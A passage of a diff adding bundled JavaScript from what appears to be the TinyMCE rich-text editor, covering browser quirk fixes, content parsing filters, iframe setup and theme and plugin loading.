+        var applyAttributes;
+        if (!isDefaultPrevented(e) && isSelectionAcrossElements()) {
+          applyAttributes = getAttributeApplyFunction();
+          $_9o1ijaijjgwe7dm.setEditorTimeout(editor, function () {
+            applyAttributes();
+          });
+        }
+      });
+    };
+    var disableBackspaceIntoATable = function () {
+      editor.on('keydown', function (e) {
+        if (!isDefaultPrevented(e) && e.keyCode === BACKSPACE) {
+          if (selection.isCollapsed() && selection.getRng().startOffset === 0) {
+            var previousSibling = selection.getNode().previousSibling;
+            if (previousSibling && previousSibling.nodeName && previousSibling.nodeName.toLowerCase() === 'table') {
+              e.preventDefault();
+              return false;
+            }
+          }
+        }
+      });
+    };
+    var removeBlockQuoteOnBackSpace = function () {
+      editor.on('keydown', function (e) {
+        var rng, container, offset, root, parent$$1;
+        if (isDefaultPrevented(e) || e.keyCode !== $_9udk9k5wjjgwe8on.BACKSPACE) {
+          return;
+        }
+        rng = selection.getRng();
+        container = rng.startContainer;
+        offset = rng.startOffset;
+        root = dom.getRoot();
+        parent$$1 = container;
+        if (!rng.collapsed || offset !== 0) {
+          return;
+        }
+        while (parent$$1 && parent$$1.parentNode && parent$$1.parentNode.firstChild === parent$$1 && parent$$1.parentNode !== root) {
+          parent$$1 = parent$$1.parentNode;
+        }
+        if (parent$$1.tagName === 'BLOCKQUOTE') {
+          editor.formatter.toggle('blockquote', null, parent$$1);
+          rng = dom.createRng();
+          rng.setStart(container, 0);
+          rng.setEnd(container, 0);
+          selection.setRng(rng);
+        }
+      });
+    };
+    var setGeckoEditingOptions = function () {
+      var setOpts = function () {
+        setEditorCommandState('StyleWithCSS', false);
+        setEditorCommandState('enableInlineTableEditing', false);
+        if (!settings.object_resizing) {
+          setEditorCommandState('enableObjectResizing', false);
+        }
+      };
+      if (!settings.readonly) {
+        editor.on('BeforeExecCommand MouseDown', setOpts);
+      }
+    };
+    var addBrAfterLastLinks = function () {
+      var fixLinks = function () {
+        each(dom.select('a'), function (node) {
+          var parentNode = node.parentNode;
+          var root = dom.getRoot();
+          if (parentNode.lastChild === node) {
+            while (parentNode && !dom.isBlock(parentNode)) {
+              if (parentNode.parentNode.lastChild !== parentNode || parentNode === root) {
+                return;
+              }
+              parentNode = parentNode.parentNode;
+            }
+            dom.add(parentNode, 'br', { 'data-mce-bogus': 1 });
+          }
+        });
+      };
+      editor.on('SetContent ExecCommand', function (e) {
+        if (e.type === 'setcontent' || e.command === 'mceInsertLink') {
+          fixLinks();
+        }
+      });
+    };
+    var setDefaultBlockType = function () {
+      if (settings.forced_root_block) {
+        editor.on('init', function () {
+          setEditorCommandState('DefaultParagraphSeparator', settings.forced_root_block);
+        });
+      }
+    };
+    var normalizeSelection = function () {
+      editor.on('keyup focusin mouseup', function (e) {
+        if (!$_9udk9k5wjjgwe8on.modifierPressed(e)) {
+          selection.normalize();
+        }
+      }, true);
+    };
+    var showBrokenImageIcon = function () {
+      editor.contentStyles.push('img:-moz-broken {' + '-moz-force-broken-image-icon:1;' + 'min-width:24px;' + 'min-height:24px' + '}');
+    };
+    var restoreFocusOnKeyDown = function () {
+      if (!editor.inline) {
+        editor.on('keydown', function () {
+          if (document.activeElement === document.body) {
+            editor.getWin().focus();
+          }
+        });
+      }
+    };
+    var bodyHeight = function () {
+      if (!editor.inline) {
+        editor.contentStyles.push('body {min-height: 150px}');
+        editor.on('click', function (e) {
+          var rng;
+          if (e.target.nodeName === 'HTML') {
+            if ($_bcvfv9ajjgwe79v.ie > 11) {
+              editor.getBody().focus();
+              return;
+            }
+            rng = editor.selection.getRng();
+            editor.getBody().focus();
+            editor.selection.setRng(rng);
+            editor.selection.normalize();
+            editor.nodeChanged();
+          }
+        });
+      }
+    };
+    var blockCmdArrowNavigation = function () {
+      if ($_bcvfv9ajjgwe79v.mac) {
+        editor.on('keydown', function (e) {
+          if ($_9udk9k5wjjgwe8on.metaKeyPressed(e) && !e.shiftKey && (e.keyCode === 37 || e.keyCode === 39)) {
+            e.preventDefault();
+            editor.selection.getSel().modify('move', e.keyCode === 37 ? 'backward' : 'forward', 'lineboundary');
+          }
+        });
+      }
+    };
+    var disableAutoUrlDetect = function () {
+      setEditorCommandState('AutoUrlDetect', false);
+    };
+    var tapLinksAndImages = function () {
+      editor.on('click', function (e) {
+        var elm = e.target;
+        do {
+          if (elm.tagName === 'A') {
+            e.preventDefault();
+            return;
+          }
+        } while (elm = elm.parentNode);
+      });
+      editor.contentStyles.push('.mce-content-body {-webkit-touch-callout: none}');
+    };
+    var blockFormSubmitInsideEditor = function () {
+      editor.on('init', function () {
+        editor.dom.bind(editor.getBody(), 'submit', function (e) {
+          e.preventDefault();
+        });
+      });
+    };
+    var removeAppleInterchangeBrs = function () {
+      parser.addNodeFilter('br', function (nodes) {
+        var i = nodes.length;
+        while (i--) {
+          if (nodes[i].attr('class') === 'Apple-interchange-newline') {
+            nodes[i].remove();
+          }
+        }
+      });
+    };
+    var ieInternalDragAndDrop = function () {
+      editor.on('dragstart', function (e) {
+        setMceInternalContent(e);
+      });
+      editor.on('drop', function (e) {
+        if (!isDefaultPrevented(e)) {
+          var internalContent = getMceInternalContent(e);
+          if (internalContent && internalContent.id !== editor.id) {
+            e.preventDefault();
+            var rng = $_269jak6xjjgwe8wp.fromPoint(e.x, e.y, editor.getDoc());
+            selection.setRng(rng);
+            insertClipboardContents(internalContent.html, true);
+          }
+        }
+      });
+    };
+    var refreshContentEditable = function () {
+    };
+    var isHidden = function () {
+      var sel;
+      if (!isGecko || editor.removed) {
+        return 0;
+      }
+      sel = editor.selection.getSel();
+      return !sel || !sel.rangeCount || sel.rangeCount === 0;
+    };
+    removeBlockQuoteOnBackSpace();
+    emptyEditorWhenDeleting();
+    if (!$_bcvfv9ajjgwe79v.windowsPhone) {
+      normalizeSelection();
+    }
+    if (isWebKit) {
+      inputMethodFocus();
+      selectControlElements();
+      setDefaultBlockType();
+      blockFormSubmitInsideEditor();
+      disableBackspaceIntoATable();
+      removeAppleInterchangeBrs();
+      if ($_bcvfv9ajjgwe79v.iOS) {
+        restoreFocusOnKeyDown();
+        bodyHeight();
+        tapLinksAndImages();
+      } else {
+        selectAll();
+      }
+    }
+    if ($_bcvfv9ajjgwe79v.ie >= 11) {
+      bodyHeight();
+      disableBackspaceIntoATable();
+    }
+    if ($_bcvfv9ajjgwe79v.ie) {
+      selectAll();
+      disableAutoUrlDetect();
+      ieInternalDragAndDrop();
+    }
+    if (isGecko) {
+      removeHrOnBackspace();
+      focusBody();
+      removeStylesWhenDeletingAcrossBlockElements();
+      setGeckoEditingOptions();
+      addBrAfterLastLinks();
+      showBrokenImageIcon();
+      blockCmdArrowNavigation();
+      disableBackspaceIntoATable();
+    }
+    return {
+      refreshContentEditable: refreshContentEditable,
+      isHidden: isHidden
+    };
+  }
+
+  var isTextBlockNode = function (node) {
+    return $_3b9u2y1rjjgwe7qe.isElement(node) && isTextBlock(Element$$1.fromDom(node));
+  };
+  var normalizeSelection$1 = function (editor) {
+    var rng = editor.selection.getRng();
+    var startPos = CaretPosition.fromRangeStart(rng);
+    var endPos = CaretPosition.fromRangeEnd(rng);
+    if (CaretPosition.isElementPosition(startPos)) {
+      var container = startPos.container();
+      if (isTextBlockNode(container)) {
+        $_8q1ver2yjjgwe7z3.firstPositionIn(container).each(function (pos) {
+          return rng.setStart(pos.container(), pos.offset());
+        });
+      }
+    }
+    if (CaretPosition.isElementPosition(endPos)) {
+      var container = startPos.container();
+      if (isTextBlockNode(container)) {
+        $_8q1ver2yjjgwe7z3.lastPositionIn(container).each(function (pos) {
+          return rng.setEnd(pos.container(), pos.offset());
+        });
+      }
+    }
+    editor.selection.setRng($_e1wrz53ojjgwe85f.normalize(rng));
+  };
+  var setup$13 = function (editor) {
+    editor.on('click', function (e) {
+      if (e.detail === 3) {
+        normalizeSelection$1(editor);
+      }
+    });
+  };
+  var $_y8ycw7mjjgwe91o = { setup: setup$13 };
+
+  var preventSummaryToggle = function (editor) {
+    editor.on('click', function (e) {
+      if (editor.dom.getParent(e.target, 'details')) {
+        e.preventDefault();
+      }
+    });
+  };
+  var filterDetails = function (editor) {
+    editor.parser.addNodeFilter('details', function (elms) {
+      each(elms, function (details) {
+        details.attr('data-mce-open', details.attr('open'));
+        details.attr('open', 'open');
+      });
+    });
+    editor.serializer.addNodeFilter('details', function (elms) {
+      each(elms, function (details) {
+        var open = details.attr('data-mce-open');
+        details.attr('open', isString(open) ? open : null);
+        details.attr('data-mce-open', null);
+      });
+    });
+  };
+  var setup$14 = function (editor) {
+    preventSummaryToggle(editor);
+    filterDetails(editor);
+  };
+
+  var DOM$2 = DOMUtils$1.DOM;
+  var appendStyle = function (editor, text) {
+    var head = Element$$1.fromDom(editor.getDoc().head);
+    var tag = Element$$1.fromTag('style');
+    $_etx7gr15jjgwe7mr.set(tag, 'type', 'text/css');
+    $_ewo3u51yjjgwe7su.append(tag, Element$$1.fromText(text));
+    $_ewo3u51yjjgwe7su.append(head, tag);
+  };
+  var createParser = function (editor) {
+    var parser = DomParser(editor.settings, editor.schema);
+    parser.addAttributeFilter('src,href,style,tabindex', function (nodes, name$$1) {
+      var i = nodes.length, node;
+      var dom = editor.dom;
+      var value, internalName;
+      while (i--) {
+        node = nodes[i];
+        value = node.attr(name$$1);
+        internalName = 'data-mce-' + name$$1;
+        if (!node.attributes.map[internalName]) {
+          if (value.indexOf('data:') === 0 || value.indexOf('blob:') === 0) {
+            continue;
+          }
+          if (name$$1 === 'style') {
+            value = dom.serializeStyle(dom.parseStyle(value), node.name);
+            if (!value.length) {
+              value = null;
+            }
+            node.attr(internalName, value);
+            node.attr(name$$1, value);
+          } else if (name$$1 === 'tabindex') {
+            node.attr(internalName, value);
+            node.attr(name$$1, null);
+          } else {
+            node.attr(internalName, editor.convertURL(value, name$$1, node.name));
+          }
+        }
+      }
+    });
+    parser.addNodeFilter('script', function (nodes) {
+      var i = nodes.length, node, type;
+      while (i--) {
+        node = nodes[i];
+        type = node.attr('type') || 'no/type';
+        if (type.indexOf('mce-') !== 0) {
+          node.attr('type', 'mce-' + type);
+        }
+      }
+    });
+    parser.addNodeFilter('#cdata', function (nodes) {
+      var i = nodes.length, node;
+      while (i--) {
+        node = nodes[i];
+        node.type = 8;
+        node.name = '#comment';
+        node.value = '[CDATA[' + node.value + ']]';
+      }
+    });
+    parser.addNodeFilter('p,h1,h2,h3,h4,h5,h6,div', function (nodes) {
+      var i = nodes.length, node;
+      var nonEmptyElements = editor.schema.getNonEmptyElements();
+      while (i--) {
+        node = nodes[i];
+        if (node.isEmpty(nonEmptyElements) && node.getAll('br').length === 0) {
+          node.append(new Node$2('br', 1)).shortEnded = true;
+        }
+      }
+    });
+    return parser;
+  };
+  var autoFocus = function (editor) {
+    if (editor.settings.auto_focus) {
+      $_9o1ijaijjgwe7dm.setEditorTimeout(editor, function () {
+        var focusEditor;
+        if (editor.settings.auto_focus === true) {
+          focusEditor = editor;
+        } else {
+          focusEditor = editor.editorManager.get(editor.settings.auto_focus);
+        }
+        if (!focusEditor.destroyed) {
+          focusEditor.focus();
+        }
+      }, 100);
+    }
+  };
+  var initEditor = function (editor) {
+    editor.bindPendingEventDelegates();
+    editor.initialized = true;
+    editor.fire('init');
+    editor.focus(true);
+    editor.nodeChanged({ initial: true });
+    editor.execCallback('init_instance_callback', editor);
+    autoFocus(editor);
+  };
+  var getStyleSheetLoader = function (editor) {
+    return editor.inline ? DOM$2.styleSheetLoader : editor.dom.styleSheetLoader;
+  };
+  var initContentBody = function (editor, skipWrite) {
+    var settings = editor.settings;
+    var targetElm = editor.getElement();
+    var doc = editor.getDoc(), body, contentCssText;
+    if (!settings.inline) {
+      editor.getElement().style.visibility = editor.orgVisibility;
+    }
+    if (!skipWrite && !settings.content_editable) {
+      doc.open();
+      doc.write(editor.iframeHTML);
+      doc.close();
+    }
+    if (settings.content_editable) {
+      editor.on('remove', function () {
+        var bodyEl = this.getBody();
+        DOM$2.removeClass(bodyEl, 'mce-content-body');
+        DOM$2.removeClass(bodyEl, 'mce-edit-focus');
+        DOM$2.setAttrib(bodyEl, 'contentEditable', null);
+      });
+      DOM$2.addClass(targetElm, 'mce-content-body');
+      editor.contentDocument = doc = settings.content_document || document;
+      editor.contentWindow = settings.content_window || window;
+      editor.bodyElement = targetElm;
+      settings.content_document = settings.content_window = null;
+      settings.root_name = targetElm.nodeName.toLowerCase();
+    }
+    body = editor.getBody();
+    body.disabled = true;
+    editor.readonly = settings.readonly;
+    if (!editor.readonly) {
+      if (editor.inline && DOM$2.getStyle(body, 'position', true) === 'static') {
+        body.style.position = 'relative';
+      }
+      body.contentEditable = editor.getParam('content_editable_state', true);
+    }
+    body.disabled = false;
+    editor.editorUpload = EditorUpload(editor);
+    editor.schema = Schema(settings);
+    editor.dom = DOMUtils$1(doc, {
+      keep_values: true,
+      url_converter: editor.convertURL,
+      url_converter_scope: editor,
+      hex_colors: settings.force_hex_style_colors,
+      class_filter: settings.class_filter,
+      update_styles: true,
+      root_element: editor.inline ? editor.getBody() : null,
+      collect: settings.content_editable,
+      schema: editor.schema,
+      onSetAttrib: function (e) {
+        editor.fire('SetAttrib', e);
+      }
+    });
+    editor.parser = createParser(editor);
+    editor.serializer = DomSerializer$1(settings, editor);
+    editor.selection = Selection$1(editor.dom, editor.getWin(), editor.serializer, editor);
+    editor.experimental = Experimental(editor);
+    editor.formatter = Formatter(editor);
+    editor.undoManager = UndoManager(editor);
+    editor._nodeChangeDispatcher = new NodeChange(editor);
+    editor._selectionOverrides = SelectionOverrides(editor);
+    setup$14(editor);
+    $_y8ycw7mjjgwe91o.setup(editor);
+    $_ajiltf75jjgwe8yt.setup(editor);
+    $_g8uzqo5ljjgwe8m8.setup(editor);
+    editor.fire('PreInit');
+    if (!settings.browser_spellcheck && !settings.gecko_spellcheck) {
+      doc.body.spellcheck = false;
+      DOM$2.setAttrib(body, 'spellcheck', 'false');
+    }
+    editor.quirks = Quirks(editor);
+    editor.fire('PostRender');
+    if (settings.directionality) {
+      body.dir = settings.directionality;
+    }
+    if (settings.nowrap) {
+      body.style.whiteSpace = 'nowrap';
+    }
+    if (settings.protect) {
+      editor.on('BeforeSetContent', function (e) {
+        $_6cwiepljjgwe7j4.each(settings.protect, function (pattern) {
+          e.content = e.content.replace(pattern, function (str) {
+            return '<!--mce:protected ' + escape(str) + '-->';
+          });
+        });
+      });
+    }
+    editor.on('SetContent', function () {
+      editor.addVisual(editor.getBody());
+    });
+    editor.load({
+      initial: true,
+      format: 'html'
+    });
+    editor.startContent = editor.getContent({ format: 'raw' });
+    editor.on('compositionstart compositionend', function (e) {
+      editor.composing = e.type === 'compositionstart';
+    });
+    if (editor.contentStyles.length > 0) {
+      contentCssText = '';
+      $_6cwiepljjgwe7j4.each(editor.contentStyles, function (style) {
+        contentCssText += style + '\r\n';
+      });
+      editor.dom.addStyle(contentCssText);
+    }
+    getStyleSheetLoader(editor).loadAll(editor.contentCSS, function (_) {
+      initEditor(editor);
+    }, function (urls) {
+      initEditor(editor);
+    });
+    if (settings.content_style) {
+      appendStyle(editor, settings.content_style);
+    }
+  };
+  var $_e2a9gf58jjgwe8kl = { initContentBody: initContentBody };
+
+  var DOM$3 = DOMUtils$1.DOM;
+  var relaxDomain = function (editor, ifr) {
+    if (document.domain !== window.location.hostname && $_bcvfv9ajjgwe79v.ie && $_bcvfv9ajjgwe79v.ie < 12) {
+      var bodyUuid = $_637o4x5jjjgwe8m5.uuid('mce');
+      editor[bodyUuid] = function () {
+        $_e2a9gf58jjgwe8kl.initContentBody(editor);
+      };
+      var domainRelaxUrl = 'javascript:(function(){' + 'document.open();document.domain="' + document.domain + '";' + 'var ed = window.parent.tinymce.get("' + editor.id + '");document.write(ed.iframeHTML);' + 'document.close();ed.' + bodyUuid + '(true);})()';
+      DOM$3.setAttrib(ifr, 'src', domainRelaxUrl);
+      return true;
+    }
+    return false;
+  };
+  var normalizeHeight = function (height) {
+    var normalizedHeight = typeof height === 'number' ? height + 'px' : height;
+    return normalizedHeight ? normalizedHeight : '';
+  };
+  var createIframeElement = function (id, title, height, customAttrs) {
+    var iframe = Element$$1.fromTag('iframe');
+    $_etx7gr15jjgwe7mr.setAll(iframe, customAttrs);
+    $_etx7gr15jjgwe7mr.setAll(iframe, {
+      id: id + '_ifr',
+      frameBorder: '0',
+      allowTransparency: 'true',
+      title: title
+    });
+    $_e0ei5w13jjgwe7m4.setAll(iframe, {
+      width: '100%',
+      height: normalizeHeight(height),
+      display: 'block'
+    });
+    return iframe;
+  };
+  var getIframeHtml = function (editor) {
+    var bodyId, bodyClass, iframeHTML;
+    iframeHTML = $_259vs538jjgwe82a.getDocType(editor) + '<html><head>';
+    if ($_259vs538jjgwe82a.getDocumentBaseUrl(editor) !== editor.documentBaseUrl) {
+      iframeHTML += '<base href="' + editor.documentBaseURI.getURI() + '" />';
+    }
+    iframeHTML += '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';
+    bodyId = $_259vs538jjgwe82a.getBodyId(editor);
+    bodyClass = $_259vs538jjgwe82a.getBodyClass(editor);
+    if ($_259vs538jjgwe82a.getContentSecurityPolicy(editor)) {
+      iframeHTML += '<meta http-equiv="Content-Security-Policy" content="' + $_259vs538jjgwe82a.getContentSecurityPolicy(editor) + '" />';
+    }
+    iframeHTML += '</head><body id="' + bodyId + '" class="mce-content-body ' + bodyClass + '" data-id="' + editor.id + '"><br></body></html>';
+    return iframeHTML;
+  };
+  var createIframe = function (editor, o) {
+    var title = editor.editorManager.translate('Rich Text Area. Press ALT-F9 for menu. ' + 'Press ALT-F10 for toolbar. Press ALT-0 for help');
+    var ifr = createIframeElement(editor.id, title, o.height, $_259vs538jjgwe82a.getIframeAttrs(editor)).dom();
+    ifr.onload = function () {
+      ifr.onload = null;
+      editor.fire('load');
+    };
+    var isDomainRelaxed = relaxDomain(editor, ifr);
+    editor.contentAreaContainer = o.iframeContainer;
+    editor.iframeElement = ifr;
+    editor.iframeHTML = getIframeHtml(editor);
+    DOM$3.add(o.iframeContainer, ifr);
+    return isDomainRelaxed;
+  };
+  var init$1 = function (editor, boxInfo) {
+    var isDomainRelaxed = createIframe(editor, boxInfo);
+    if (boxInfo.editorContainer) {
+      DOM$3.get(boxInfo.editorContainer).style.display = editor.orgDisplay;
+      editor.hidden = DOM$3.isHidden(boxInfo.editorContainer);
+    }
+    editor.getElement().style.display = 'none';
+    DOM$3.setAttrib(editor.id, 'aria-hidden', 'true');
+    if (!isDomainRelaxed) {
+      $_e2a9gf58jjgwe8kl.initContentBody(editor);
+    }
+  };
+  var $_9gp6wy7ojjgwe924 = { init: init$1 };
+
+  var DOM$4 = DOMUtils$1.DOM;
+  var initPlugin = function (editor, initializedPlugins, plugin) {
+    var Plugin = PluginManager$1.get(plugin);
+    var pluginUrl, pluginInstance;
+    pluginUrl = PluginManager$1.urls[plugin] || editor.documentBaseUrl.replace(/\/$/, '');
+    plugin = $_6cwiepljjgwe7j4.trim(plugin);
+    if (Plugin && $_6cwiepljjgwe7j4.inArray(initializedPlugins, plugin) === -1) {
+      $_6cwiepljjgwe7j4.each(PluginManager$1.dependencies(plugin), function (dep) {
+        initPlugin(editor, initializedPlugins, dep);
+      });
+      if (editor.plugins[plugin]) {
+        return;
+      }
+      pluginInstance = new Plugin(editor, pluginUrl, editor.$);
+      editor.plugins[plugin] = pluginInstance;
+      if (pluginInstance.init) {
+        pluginInstance.init(editor, pluginUrl);
+        initializedPlugins.push(plugin);
+      }
+    }
+  };
+  var trimLegacyPrefix = function (name) {
+    return name.replace(/^\-/, '');
+  };
+  var initPlugins = function (editor) {
+    var initializedPlugins = [];
+    $_6cwiepljjgwe7j4.each(editor.settings.plugins.split(/[ ,]/), function (name) {
+      initPlugin(editor, initializedPlugins, trimLegacyPrefix(name));
+    });
+  };
+  var initTheme = function (editor) {
+    var Theme;
+    var theme = editor.settings.theme;
+    if (isString(theme)) {
+      editor.settings.theme = trimLegacyPrefix(theme);
+      Theme = ThemeManager.get(theme);
+      editor.theme = new Theme(editor, ThemeManager.urls[theme]);
+      if (editor.theme.init) {
+        editor.theme.init(editor, ThemeManager.urls[theme] || editor.documentBaseUrl.replace(/\/$/, ''), editor.$);
+      }
+    } else {
+      editor.theme = {};
+    }
+  };
+  var renderFromLoadedTheme = function (editor) {
+    var w, h, minHeight, re, info;
+    var settings = editor.settings;
+    var elm = editor.getElement();
+    w = settings.width || DOM$4.getStyle(elm, 'width') || '100%';
+    h = settings.height || DOM$4.getStyle(elm, 'height') || elm.offsetHeight;
+    minHeight = settings.min_height || 100;
+    re = /^[0-9\.]+(|px)$/i;
+    if (re.test('' + w)) {
+      w = Math.max(parseInt(w, 10), 100);
+    }
+    if (re.test('' + h)) {
+      h = Math.max(parseInt(h, 10), minHeight);
+    }
+    info = editor.theme.renderUI({
+      targetNode: elm,
+      width: w,
+      height: h,
+      deltaWidth: settings.delta_width,
+      deltaHeight: settings.delta_height
+    });
+    if (!settings.content_editable) {
+      h = (info.iframeHeight || h) + (typeof h === 'number' ? info.deltaHeight || 0 : '');
+      if (h < minHeight) {
+        h = minHeight;
+      }
+    }
+    info.height = h;
+    return info;
+  };
+  var renderFromThemeFunc = function (editor) {
+    var info;
+    var elm = editor.getElement();
+    info = editor.settings.theme(editor, elm);
+    if (info.editorContainer.nodeType) {
+      info.editorContainer.id = info.editorContainer.id || editor.id + '_parent';
+    }
+    if (info.iframeContainer && info.iframeContainer.nodeType) {
+      info.iframeContainer.id = info.iframeContainer.id || editor.id + '_iframecontainer';
+    }
+    info.height = info.iframeHeight ? info.iframeHeight : elm.offsetHeight;
+    return info;
+  };
+  var createThemeFalseResult = function (element) {
+    return {
+      editorContainer: element,
+      iframeContainer: element
+    };
+  };
+  var renderThemeFalseIframe = function (targetElement) {
+    var iframeContainer = DOM$4.create('div');
+    DOM$4.insertAfter(iframeContainer, targetElement);
+    return createThemeFalseResult(iframeContainer);
+  };
+  var renderThemeFalse = function (editor) {
+    var targetElement = editor.getElement();
+    return editor.inline ? createThemeFalseResult(null) : renderThemeFalseIframe(targetElement);
+  };
+  var renderThemeUi = function (editor) {
+    var settings = editor.settings, elm = editor.getElement();
+    editor.orgDisplay = elm.style.display;
+    if (isString(settings.theme)) {
+      return renderFromLoadedTheme(editor);
+    } else if (isFunction(settings.theme)) {
+      return renderFromThemeFunc(editor);
+    } else {
+      return renderThemeFalse(editor);
+    }
+  };
+  var init$2 = function (editor) {
+    var settings = editor.settings;
+    var elm = editor.getElement();
+    var boxInfo;
+    editor.rtl = settings.rtl_ui || editor.editorManager.i18n.rtl;
+    editor.editorManager.i18n.setCode(settings.language);
+    settings.aria_label = settings.aria_label || DOM$4.getAttrib(elm, 'aria-label', editor.getLang('aria.rich_text_area'));
+    editor.fire('ScriptsLoaded');
+    initTheme(editor);
+    initPlugins(editor);
+    boxInfo = renderThemeUi(editor);
+    editor.editorContainer = boxInfo.editorContainer ? boxInfo.editorContainer : null;
+    if (settings.content_css) {
+      $_6cwiepljjgwe7j4.each($_6cwiepljjgwe7j4.explode(settings.content_css), function (u) {
+        editor.contentCSS.push(editor.documentBaseURI.toAbsolute(u));
+      });
+    }
+    if (settings.content_editable) {
+      return $_e2a9gf58jjgwe8kl.initContentBody(editor);
+    } else {
+      return $_9gp6wy7ojjgwe924.init(editor, boxInfo);
+    }
+  };
+  var $_4jdwwz55jjgwe8kc = { init: init$2 };
+
+  var DOM$5 = DOMUtils$1.DOM;
+  var hasSkipLoadPrefix = function (name$$1) {
+    return name$$1.charAt(0) === '-';
+  };
+  var loadLanguage = function (scriptLoader, editor) {
+    var settings = editor.settings;
+    if (settings.language && settings.language !== 'en' && !settings.language_url) {
+      settings.language_url = editor.editorManager.baseURL + '/langs/' + settings.language + '.js';
+    }
+    if (settings.language_url && !editor.editorManager.i18n.data[settings.language]) {
+      scriptLoader.add(settings.language_url);
+    }
+  };
+  var loadTheme = function (scriptLoader, editor, suffix, callback) {
+    var settings = editor.settings, theme = settings.theme;
+    if (isString(theme)) {
+      if (!hasSkipLoadPrefix(theme) && !ThemeManager.urls.hasOwnProperty(theme)) {
+        var themeUrl = settings.theme_url;
+        if (themeUrl) {
+          ThemeManager.load(theme, editor.documentBaseURI.toAbsolute(themeUrl));
+        } else {
+          ThemeManager.load(theme, 'themes/' + theme + '/theme' + suffix + '.js');
+        }
+      }
+      scriptLoader.loadQueue(function () {
+        ThemeManager.waitFor(theme, callback);
+      });
+    } else {
+      callback();
+    }
+  };
+  var loadPlugins = function (settings, suffix) {
+    if ($_6cwiepljjgwe7j4.isArray(settings.plugins)) {
+      settings.plugins = settings.plugins.join(' ');
+    }
+    $_6cwiepljjgwe7j4.each(settings.external_plugins, function (url, name$$1) {
+      PluginManager$1.load(name$$1, url);
+      settings.plugins += ' ' + name$$1;
+    });
+    $_6cwiepljjgwe7j4.each(settings.plugins.split(/[ ,]/), function (plugin) {
+      plugin = $_6cwiepljjgwe7j4.trim(plugin);
+      if (plugin && !PluginManager$1.urls[plugin]) {
+        if (hasSkipLoadPrefix(plugin)) {
+          plugin = plugin.substr(1, plugin.length);
+          var dependencies = PluginManager$1.dependencies(plugin);
+          $_6cwiepljjgwe7j4.each(dependencies, function (dep) {
+            var defaultSettings = {
+              prefix: 'plugins/',
+              resource: dep,
+              suffix: '/plugin' + suffix + '.js'
+            };
+            dep = PluginManager$1.createUrl(defaultSettings, dep);
+            PluginManager$1.load(dep.resource, dep);
+          });
+        } else {
+          PluginManager$1.load(plugin, {
+            prefix: 'plugins/',
+            resource: plugin,
+            suffix: '/plugin' + suffix + '.js'
+          });
+        }
+      }
+    });
+  };
+  var loadScripts = function (editor, suffix) {
+    var scriptLoader = ScriptLoader.ScriptLoader;
+    loadTheme(scriptLoader, editor, suffix, function () {
+      loadLanguage(scriptLoader, editor);
+      loadPlugins(editor.settings, suffix);
+      scriptLoader.loadQueue(function () {
+        if (!editor.removed) {
+          $_4jdwwz55jjgwe8kc.init(editor);
+        }
+      }, editor, function (urls) {
+        $_5ksiiu54jjgwe8k7.pluginLoadError(editor, urls[0]);
+        if (!editor.removed) {
+          $_4jdwwz55jjgwe8kc.init(editor);
+        }
+      });
+    });
+  };
+  var render = function (editor) {
+    var settings = editor.settings, id = editor.id;
+    var readyHandler = function () {
+      DOM$5.unbind(window, 'ready', readyHandler);
+      editor.render();
+    };
+    if (!EventUtils.Event.domLoaded) {
+      DOM$5.bind(window, 'ready', readyHandler);
+      return;
+    }
+    if (!editor.getElement()) {
+      return;
+    }
+    if (!$_bcvfv9ajjgwe79v.contentEditable) {
+      return;
+    }
+    if (!settings.inline) {
+      editor.orgVisibility = editor.getElement().style.visibility;
+      editor.getElement().style.visibility = 'hidden';
+    } else {
+      editor.inline = true;
+    }
+    var form = editor.getElement().form || DOM$5.getParent(id, 'form');
+    if (form) {
+      editor.formElement = form;
+      if (settings.hidden_input && !/TEXTAREA|INPUT/i.test(editor.getElement().nodeName)) {
+        DOM$5.insertAfter(DOM$5.create('input', {
+          type: 'hidden',
+          name: id
+        }), id);
+        editor.hasHiddenInput = true;
+      }
+      editor.formEventDelegate = function (e) {
+        editor.fire(e.type, e);
+      };
+      DOM$5.bind(form, 'submit reset', editor.formEventDelegate);
+      editor.on('reset', function () {
+        editor.setContent(editor.startContent, { format: 'raw' });
+      });
+      if (settings.submit_patch && !form.submit.nodeType && !form.submit.length && !form._mceOldSubmit) {
+        form._mceOldSubmit = form.submit;
+        form.submit = function () {
+          editor.editorManager.triggerSave();
+          editor.setDirty(false);
+          return form._mceOldSubmit(form);
+        };
+      }
+    }
+    editor.windowManager = WindowManager(editor);
+    editor.notificationManager = NotificationManager(editor);
+    if (settings.encoding === 'xml') {
+      editor.on('GetContent', function (e) {
+        if (e.save) {
+          e.content = DOM$5.encode(e.content);
+        }
+      });
+    }
+    if (settings.add_form_submit_trigger) {
+      editor.on('submit', function () {
+        if (editor.initialized) {
+          editor.save();
+        }
+      });
+    }
+    if (settings.add_unload_trigger) {
+      editor._beforeUnload = function () {
+        if (editor.initialized && !editor.destroyed && !editor.isHidden()) {
+          editor.save({
+            format: 'raw',
+            no_events: true,
+            set_dirty: false
+          });
+        }
+      };
+      editor.editorManager.on('BeforeUnload', editor._beforeUnload);
+    }
+    editor.editorManager.add(editor);
+    loadScripts(editor, editor.suffix);
+  };
+  var $_f3cxe94yjjgwe8ja = { render: render };
+
+  var add$4 = function (editor, name, settings) {
+    var sidebars = editor.sidebars ? editor.sidebars : [];
+    sidebars.push({
+      name: name,
+      settings: settings
+    });
+    editor.sidebars = sidebars;
+  };
+  var $_9tpo0o7pjjgwe92c = { add: add$4 };
+
+  var each$20 = $_6cwiepljjgwe7j4.each;
+  var trim$4 = $_6cwiepljjgwe7j4.trim;
+  var queryParts = 'source protocol authority userInfo user password host port relative path directory file query anchor'.split(' ');
+  var DEFAULT_PORTS = {
+    ftp: 21,
+    http: 80,
+    https: 443,
+    mailto: 25
+  };
+  var URI = function (url, settings) {
+    var self$$1 = this;
+    var baseUri, baseUrl;
+    url = trim$4(url);
+    settings = self$$1.settings = settings || {};
+    baseUri = settings.base_uri;
+    if (/^([\w\-]+):([^\/]{2})/i.test(url) || /^\s*#/.test(url)) {
+      self$$1.source = url;
+      return;
+    }
+    var isProtocolRelative = url.indexOf('//') === 0;
+    if (url.indexOf('/') === 0 && !isProtocolRelative) {
+      url = (baseUri ? baseUri.protocol || 'http' : 'http') + '://mce_host' + url;
+    }
+    if (!/^[\w\-]*:?\/\//.test(url)) {
+      baseUrl = settings.base_uri ? settings.base_uri.path : new URI(document.location.href).directory;
+      if (settings.base_uri.protocol == '') {
+        url = '//mce_host' + self$$1.toAbsPath(baseUrl, url);
+      } else {
+        url = /([^#?]*)([#?]?.*)/.exec(url);
